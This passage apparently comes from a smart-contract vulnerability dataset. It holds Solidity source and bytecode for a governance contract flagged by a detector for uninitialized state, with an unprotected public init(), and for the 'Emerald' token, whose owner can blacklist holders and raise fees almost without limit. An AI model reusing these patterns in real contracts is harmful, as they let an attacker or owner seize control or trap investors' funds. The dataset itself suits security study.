* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract Governance is ReentrancyGuard {
uint constant public governance_challenging_period = 10 days;
uint constant public governance_freeze_period = 30 days;
address public votingTokenAddress;
address public governedContractAddress;
mapping(address => uint) public balances;
VotedValue[] public votedValues;
mapping(string => VotedValue) public votedValuesMap;
constructor(address _governedContractAddress, address _votingTokenAddress){
init(_governedContractAddress, _votingTokenAddress);
}
function init(address _governedContractAddress, address _votingTokenAddress) public {
require(governedContractAddress == address(0), "governance already initialized");
governedContractAddress = _governedContractAddress;
votingTokenAddress = _votingTokenAddress;
}
function addressBelongsToGovernance(address addr) public view returns (bool) {
for (uint i = 0; i < votedValues.length; i++)
if (address(votedValues[i]) == addr)
return true;
return false;
}
function isUntiedFromAllVotes(address addr) public view returns (bool) {
for (uint i = 0; i < votedValues.length; i++)
if (votedValues[i].hasVote(addr))
return false;
return true;
}
function addVotedValue(string memory name, VotedValue votedValue) external {
require(msg.sender == governedContractAddress, "not authorized");
votedValues.push(votedValue);
votedValuesMap[name] = votedValue;
}
// deposit
function deposit(uint amount) payable external {
deposit(msg.sender, amount);
}
function deposit(address from, uint amount) nonReentrant payable public {
require(from == msg.sender || addressBelongsToGovernance(msg.sender), "not allowed");
if (votingTokenAddress == address(0))
require(msg.value == amount, "wrong amount received");
else {
require(msg.value == 0, "don't send ETH");
require(IERC20(votingTokenAddress).transferFrom(from, address(this), amount), "failed to pull gov deposit");
}
balances[from] += amount;
}
// withdrawal functions
function withdraw() external {
withdraw(balances[msg.sender]);
}
function withdraw(uint amount) nonReentrant public {
require(amount > 0, "zero withdrawal requested");
require(amount <= balances[msg.sender], "not enough balance");
require(isUntiedFromAllVotes(msg.sender), "some votes not removed yet");
balances[msg.sender] -= amount;
if (votingTokenAddress == address(0))
payable(msg.sender).transfer(amount);
else
require(IERC20(votingTokenAddress).transfer(msg.sender, amount), "failed to withdraw gov deposit");
}
}
abstract contract VotedValue is ReentrancyGuard {
Governance public governance;
uint public challenging_period_start_ts;
mapping(address => bool) public hasVote;
constructor(Governance _governance){
governance = _governance;
}
function checkVoteChangeLock() view public {
require(challenging_period_start_ts + governance.governance_challenging_period() + governance.governance_freeze_period() < block.timestamp, "you cannot change your vote yet");
}
function checkChallengingPeriodExpiry() view public {
require(block.timestamp > challenging_period_start_ts + governance.governance_challenging_period(), "challenging period not expired yet");
}
}
contract GovernanceFactory {
address public governanceMaster;
constructor(address _governanceMaster) {
governanceMaster = _governanceMaster;
}
function createGovernance(address governedContractAddress, address votingTokenAddress) external returns (Governance) {
Governance governance = Governance(Clones.clone(governanceMaster));
governance.init(governedContractAddress, votingTokenAddress);
return governance;
}
}
|
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80637cc7a95a1461003b578063e599ec2e1461006a575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b61004e6100783660046101b7565b600080548190610090906001600160a01b03166100ff565b60405163784d200b60e11b81526001600160a01b03868116600483015285811660248301529192509082169063f09a401690604401600060405180830381600087803b1580156100df57600080fd5b505af11580156100f3573d6000803e3d6000fd5b50929695505050505050565b6000604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528260601b60148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f09150506001600160a01b03811661019b5760405162461bcd60e51b8152602060048201526016602482015275115490cc4c4d8dce8818dc99585d194819985a5b195960521b604482015260640160405180910390fd5b919050565b80356001600160a01b038116811461019b57600080fd5b600080604083850312156101ca57600080fd5b6101d3836101a0565b91506101e1602084016101a0565b9050925092905056fea26469706673582212201c1a37db9ba0aad2757b59ad86713377475188f2e7e1fac62427ba298bbc1c1264736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
| 8,730 |
0x91bb1cfce6799cd43b3ec1d0c932218bc9239ffb
|
// File: contracts/ERC20.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Emerald is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Emerald";
string private constant _symbol = "Emerald";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 6;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 150000000 * 10**9;
uint256 public _maxWalletSize = 300000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610542578063dd62ed3e14610562578063ea1644d5146105a8578063f2fde38b146105c857600080fd5b8063a2a957bb146104bd578063a9059cbb146104dd578063bfd79284146104fd578063c3c8cd801461052d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104675780638f9a55c01461048757806395d89b411461020957806398a5c3151461049d57600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638203f5fe146104345780638da5cb5b1461044957600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101b65780631694505e1461027857806318160ddd146102b057806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024857600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b3b565b6105e8565b005b34801561021557600080fd5b506040805180820182526007815266115b595c985b1960ca1b6020820152905161023f9190611c00565b60405180910390f35b34801561025457600080fd5b50610268610263366004611c55565b610687565b604051901515815260200161023f565b34801561028457600080fd5b50601354610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50678ac7230489e800005b60405190815260200161023f565b3480156102e157600080fd5b506102686102f0366004611c81565b61069e565b34801561030157600080fd5b506102c760175481565b34801561031757600080fd5b506040516009815260200161023f565b34801561033357600080fd5b50601454610298906001600160a01b031681565b34801561035357600080fd5b50610207610362366004611cc2565b610707565b34801561037357600080fd5b50610207610382366004611cef565b610752565b34801561039357600080fd5b5061020761079a565b3480156103a857600080fd5b506102c76103b7366004611cc2565b6107c7565b3480156103c857600080fd5b506102076107e9565b3480156103dd57600080fd5b506102076103ec366004611d0a565b61085d565b3480156103fd57600080fd5b506102c760155481565b34801561041357600080fd5b506102c7610422366004611cc2565b60116020526000908152604090205481565b34801561044057600080fd5b5061020761089f565b34801561045557600080fd5b506000546001600160a01b0316610298565b34801561047357600080fd5b50610207610482366004611cef565b610a84565b34801561049357600080fd5b506102c760165481565b3480156104a957600080fd5b506102076104b8366004611d0a565b610ae3565b3480156104c957600080fd5b506102076104d8366004611d23565b610b12565b3480156104e957600080fd5b506102686104f8366004611c55565b610b6c565b34801561050957600080fd5b50610268610518366004611cc2565b60106020526000908152604090205460ff1681565b34801561053957600080fd5b50610207610b79565b34801561054e57600080fd5b5061020761055d366004611d55565b610baf565b34801561056e57600080fd5b506102c761057d366004611dd9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b457600080fd5b506102076105c3366004611d0a565b610c50565b3480156105d457600080fd5b506102076105e3366004611cc2565b610c7f565b6000546001600160a01b0316331461061b5760405162461bcd60e51b815260040161061290611e12565b60405180910390fd5b60005b81518110156106835760016010600084848151811061063f5761063f611e47565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067b81611e73565b91505061061e565b5050565b6000610694338484610d69565b5060015b92915050565b60006106ab848484610e8d565b6106fd84336106f885604051806060016040528060288152602001611f8d602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113c9565b610d69565b5060019392505050565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161061290611e12565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077c5760405162461bcd60e51b815260040161061290611e12565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ba57600080fd5b476107c481611403565b50565b6001600160a01b0381166000908152600260205260408120546106989061143d565b6000546001600160a01b031633146108135760405162461bcd60e51b815260040161061290611e12565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b815260040161061290611e12565b6611c37937e08000811161089a57600080fd5b601555565b6000546001600160a01b031633146108c95760405162461bcd60e51b815260040161061290611e12565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561092957600080fd5b505afa15801561093d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109619190611e8e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a957600080fd5b505afa1580156109bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e19190611e8e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a2957600080fd5b505af1158015610a3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a619190611e8e565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610aae5760405162461bcd60e51b815260040161061290611e12565b601454600160a01b900460ff1615610ac557600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b0d5760405162461bcd60e51b815260040161061290611e12565b601755565b6000546001600160a01b03163314610b3c5760405162461bcd60e51b815260040161061290611e12565b60095482111580610b4f5750600b548111155b610b5857600080fd5b600893909355600a91909155600955600b55565b6000610694338484610e8d565b6012546001600160a01b0316336001600160a01b031614610b9957600080fd5b6000610ba4306107c7565b90506107c4816114c1565b6000546001600160a01b03163314610bd95760405162461bcd60e51b815260040161061290611e12565b60005b82811015610c4a578160056000868685818110610bfb57610bfb611e47565b9050602002016020810190610c109190611cc2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4281611e73565b915050610bdc565b50505050565b6000546001600160a01b03163314610c7a5760405162461bcd60e51b815260040161061290611e12565b601655565b6000546001600160a01b03163314610ca95760405162461bcd60e51b815260040161061290611e12565b6001600160a01b038116610d0e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610612565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dcb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610612565b6001600160a01b038216610e2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610612565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610612565b6001600160a01b038216610f535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610612565b60008111610fb55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610612565b6000546001600160a01b03848116911614801590610fe157506000546001600160a01b03838116911614155b156112c257601454600160a01b900460ff1661107a576000546001600160a01b0384811691161461107a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610612565b6015548111156110cc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610612565b6001600160a01b03831660009081526010602052604090205460ff1615801561110e57506001600160a01b03821660009081526010602052604090205460ff16155b6111665760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610612565b6014546001600160a01b038381169116146111eb5760165481611188846107c7565b6111929190611eab565b106111eb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610612565b60006111f6306107c7565b60175460155491925082101590821061120f5760155491505b8080156112265750601454600160a81b900460ff16155b801561124057506014546001600160a01b03868116911614155b80156112555750601454600160b01b900460ff165b801561127a57506001600160a01b03851660009081526005602052604090205460ff16155b801561129f57506001600160a01b03841660009081526005602052604090205460ff16155b156112bf576112ad826114c1565b4780156112bd576112bd47611403565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130457506001600160a01b03831660009081526005602052604090205460ff165b8061133657506014546001600160a01b0385811691161480159061133657506014546001600160a01b03848116911614155b15611343575060006113bd565b6014546001600160a01b03858116911614801561136e57506013546001600160a01b03848116911614155b1561138057600854600c55600954600d555b6014546001600160a01b0384811691161480156113ab57506013546001600160a01b03858116911614155b156113bd57600a54600c55600b54600d555b610c4a8484848461164a565b600081848411156113ed5760405162461bcd60e51b81526004016106129190611c00565b5060006113fa8486611ec3565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610683573d6000803e3d6000fd5b60006006548211156114a45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610612565b60006114ae611678565b90506114ba838261169b565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150957611509611e47565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561155d57600080fd5b505afa158015611571573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115959190611e8e565b816001815181106115a8576115a8611e47565b6001600160a01b0392831660209182029290920101526013546115ce9130911684610d69565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611607908590600090869030904290600401611eda565b600060405180830381600087803b15801561162157600080fd5b505af1158015611635573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611657576116576116dd565b61166284848461170b565b80610c4a57610c4a600e54600c55600f54600d55565b6000806000611685611802565b9092509050611694828261169b565b9250505090565b60006114ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611842565b600c541580156116ed5750600d54155b156116f457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171d87611870565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174f90876118cd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461177e908661190f565b6001600160a01b0389166000908152600260205260409020556117a08161196e565b6117aa84836119b8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117ef91815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061181d828261169b565b82101561183957505060065492678ac7230489e8000092509050565b90939092509050565b600081836118635760405162461bcd60e51b81526004016106129190611c00565b5060006113fa8486611f4b565b600080600080600080600080600061188d8a600c54600d546119dc565b925092509250600061189d611678565b905060008060006118b08e878787611a31565b919e509c509a509598509396509194505050505091939550919395565b60006114ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c9565b60008061191c8385611eab565b9050838110156114ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610612565b6000611978611678565b905060006119868383611a81565b306000908152600260205260409020549091506119a3908261190f565b30600090815260026020526040902055505050565b6006546119c590836118c